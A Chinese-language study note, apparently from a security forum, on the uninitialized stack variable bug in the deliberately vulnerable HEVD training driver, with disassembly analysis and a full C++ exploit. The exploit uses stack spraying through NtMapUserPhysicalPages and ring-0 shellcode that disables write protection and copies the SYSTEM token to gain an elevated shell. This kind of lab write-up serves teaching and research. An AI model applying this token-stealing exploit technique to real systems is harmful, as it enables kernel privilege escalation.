-
-
[原创]HEVD学习笔记之未初始化栈变量
-
2021-11-10 15:19 15972
-
HEVD介绍和实验环境请看:HEVD学习笔记之概述
一.漏洞原理
栈中的变量根据编译器的编译结果,会对其进行不同的初始化操作。在对栈中变量的之前,需要对其进行正确的赋值操作,比如下面这样
#include <windows.h> #include <cstdio> void test() { printf("test\n"); } int main() { void (*pFunc)(); pFunc = test; (*pFunc)(); return 0; }
函数指针pFunc在调用之前被正确的赋值了test的函数地址,那么就会正常调用test函数
可如果在使用之前没有正确的赋值
#include <windows.h> #include <cstdio> void test() { printf("test\n"); } int main() { void (*pFunc)(); (*pFunc)(); return 0; }
那么变量保存的内容就是编译器默认的结果,此时对它的使用就会产生错误
二.漏洞分析
该函数在函数地址表中的第12个函数,所以对应的IOCTL是0x222003 + 11 * 4。
PAGE:00444238 loc_444238: ; CODE XREF: DispatchIoCtrl+34↑j PAGE:00444238 ; DATA XREF: PAGE:Func_Table↓o PAGE:00444238 mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236463 PAGE:0044423E push offset aHevdIoctlUnini ; "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_"... PAGE:00444243 push 3 ; Level PAGE:00444245 push 4Dh ; ComponentId PAGE:00444247 call esi ; DbgPrintEx PAGE:00444249 add esp, 0Ch PAGE:0044424C push ebx ; 将CurrentStackLocation指针入栈 PAGE:0044424D push edi ; 将IRP的指针入栈 PAGE:0044424E call UninitializedMemoryStackIoctlHandler PAGE:00444253 push offset aHevdIoctlUnini ; "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_"... PAGE:00444258 jmp loc_4440BF
将CurrentStackLocation和IRP入栈以后,调用UninitializedMemoryStackIoctlHandler。
PAGE:004460E8 arg_CurrentStackLocation= dword ptr 0Ch PAGE:004460E8 PAGE:004460E8 push ebp PAGE:004460E9 mov ebp, esp PAGE:004460EB mov eax, [ebp+arg_CurrentStackLocation] PAGE:004460EE mov ecx, STATUS_UNSUCCESSFUL PAGE:004460F3 mov eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer] PAGE:004460F6 test eax, eax PAGE:004460F8 jz short loc_446102 PAGE:004460FA push eax ; void * PAGE:004460FB call TriggerUninitializedMemoryStack PAGE:00446100 mov ecx, eax PAGE:00446102 PAGE:00446102 loc_446102: ; CODE XREF: UninitializedMemoryStackIoctlHandler+10↑j PAGE:00446102 mov eax, ecx PAGE:00446104 pop ebp PAGE:00446105 retn 8 PAGE:00446105 UninitializedMemoryStackIoctlHandler endp
在该函数中,将输入缓冲区指针入栈以后调用TriggerUninitializedMemoryStack
PAGE:00445FFA ; int __stdcall TriggerUninitializedMemoryStack(void *) PAGE:00445FFA TriggerUninitializedMemoryStack proc near PAGE:00445FFA ; CODE XREF: UninitializedMemoryStackIoctlHandler+13↓p PAGE:00445FFA PAGE:00445FFA var_110 = dword ptr -110h PAGE:00445FFA var_Value = dword ptr -10Ch PAGE:00445FFA var_FuncAddr = dword ptr -108h PAGE:00445FFA ms_exc = CPPEH_RECORD ptr -18h PAGE:00445FFA arg_InputBuffer = dword ptr 8 PAGE:00445FFA PAGE:00445FFA push 100h PAGE:00445FFF push offset stru_402520 PAGE:00446004 call __SEH_prolog4_GS PAGE:00446009 mov esi, [ebp+arg_InputBuffer] ; 将输入缓冲区指针赋给esi PAGE:0044600C xor edi, edi ; 将edi清0 PAGE:0044600E mov [ebp+ms_exc.registration.TryLevel], edi PAGE:00446011 push 1 ; Alignment PAGE:00446013 push 0F0h ; Length PAGE:00446018 push esi ; Address PAGE:00446019 call ds:ProbeForRead PAGE:0044601F mov esi, [esi] ; 将输入缓冲区中的内容保存到esi
函数首先对输入缓冲区进行可读检查,并把前4字节的内容保存到esi。
PAGE:00446048 mov eax, 0BAD0B0B0h PAGE:0044604D cmp esi, eax PAGE:0044604F jnz short loc_446061 PAGE:00446051 mov [ebp+var_Value], eax PAGE:00446057 mov [ebp+var_FuncAddr], offset UninitializedMemoryStackObjectCallback
接着会判断esi是否等于0x0BAD0B0B0,如果等于则会对局部变量var_FuncAddr赋值为函数地址UninitializedMemoryStackObjectCallback,该函数的实现如下
PAGE:00446108 UninitializedMemoryStackObjectCallback proc near PAGE:00446108 ; DATA XREF: TriggerUninitializedMemoryStack+5D↑o PAGE:00446108 push offset aUninitializedM_0 ; "[+] Uninitialized Memory Stack Object C"... PAGE:0044610D push 3 ; Level PAGE:0044610F push 4Dh ; ComponentId PAGE:00446111 call ds:DbgPrintEx PAGE:00446117 add esp, 0Ch PAGE:0044611A retn PAGE:0044611A UninitializedMemoryStackObjectCallback endp
无论是否对局部变量进行初始化都会执行接下来的代码,判断保存的局部变量中的内容是否为0,如果不为0,则会将其当初函数地址调用
PAGE:00446091 mov eax, [ebp+var_FuncAddr] ; 局部变量中的内容保存到eax中 PAGE:00446097 test eax, eax ; 判断eax是否为0 PAGE:00446099 jz short loc_4460CC PAGE:0044609B call eax ; 对eax保存的函数地址进行调用
由于无论是否对栈变量var_FuncAddr进行赋值,函数都会将它取出进行调用,在没有初始化的情况下,就会产生漏洞。
三.漏洞利用
由上分析可以知道,如果输入缓冲区保存的内容是0x0BAD0B0B0,函数会对局部变量进行正确初始化并调用
而如果保存的不是0x0BAD0B0B0,此时会调用的就是未初始化的栈变量
由于此时的Callback是无法预测的,所以要利用这个漏洞,就需要用到栈喷射技术。该技术的核心是使用未文档化的NtMapUserPhysicalPages的函数,通过该函数可以实现将数据拷贝到内核栈上,最多可以拷贝1024*4(32位)字节数据。
完整的exp代码如下
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <cstdio> #include <cstdlib> #include <windows.h> #include "ntapi.h" #pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver" #define INPUT_BUFFER_LENGTH 4 typedef NTSTATUS(WINAPI* pFnNtMapUserPhysicalPages)(PVOID VirtualAddress, ULONG_PTR NumberOfPages, PULONG_PTR UserPfnArray); void ShowError(PCHAR msg, DWORD ErrorCode); VOID Ring0ShellCode(); BOOL g_bIsExecute = FALSE; int main() { NTSTATUS status = STATUS_SUCCESS; HANDLE hDevice = NULL; DWORD dwReturnLength = 0, i = 0; STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONST DWORD dwIoCtl = 0x222003 + 11 * 4; HMODULE hDll = NULL; pFnNtMapUserPhysicalPages NtMapUserPhysicalPages = NULL; PDWORD pFuncAddr = NULL; // 要复制到栈上的数据 // 打开驱动设备 hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDevice == INVALID_HANDLE_VALUE) { ShowError("CreateFile", GetLastError()); goto exit; } hDll = LoadLibrary("ntdll.dll"); if (hDll == NULL) { ShowError("LoadLibrary", GetLastError()); goto exit; } NtMapUserPhysicalPages = (pFnNtMapUserPhysicalPages)GetProcAddress(hDll, "NtMapUserPhysicalPages"); if (NtMapUserPhysicalPages == NULL) { ShowError("GetProcAddress", GetLastError()); goto exit; } pFuncAddr = (PDWORD)malloc(1024 * 4); if (pFuncAddr == NULL) { ShowError("malloc", GetLastError()); goto exit; } memset(pFuncAddr, 0x41, 1024 * 4); for (i = 0; i < 1024; i++) { *(PDWORD)(pFuncAddr + i) = (DWORD)&Ring0ShellCode; } NtMapUserPhysicalPages(NULL, 1024, pFuncAddr); DWORD dwInput = 0; dwInput = 0; // 与驱动设备进行交互,触发漏洞 if (!DeviceIoControl(hDevice, dwIoCtl, &dwInput, INPUT_BUFFER_LENGTH, NULL, 0, &dwReturnLength, NULL)) { ShowError("DeviceIoControl", GetLastError()); goto exit; } if (g_bIsExecute) { printf("Ring0 代码执行完成\n"); si.cb = sizeof(si); if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"), NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("CreateProcess Error\n"); goto exit; } } exit: if (hDevice) NtClose(hDevice); if (pFuncAddr) { free(pFuncAddr); pFuncAddr = NULL; } system("pause"); return 0; } void ShowError(PCHAR msg, DWORD ErrorCode) { printf("%s Error 0x%X\n", msg, ErrorCode); } VOID Ring0ShellCode() { // 关闭页保护 __asm { cli mov eax, cr0 and eax, ~0x10000 mov cr0, eax } __asm { // 取当前线程 mov eax, fs:[0x124] // 取线程对应的EPROCESS mov esi, [eax + 0x150] mov eax, esi searchWin7 : mov eax, [eax + 0xB8] sub eax, 0x0B8 mov edx, [eax + 0xB4] cmp edx, 0x4 jne searchWin7 mov eax, [eax + 0xF8] mov[esi + 0xF8], eax } // 开起页保护 __asm { mov eax, cr0 or eax, 0x10000 mov cr0, eax sti } g_bIsExecute = TRUE; }
四.参考资料
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课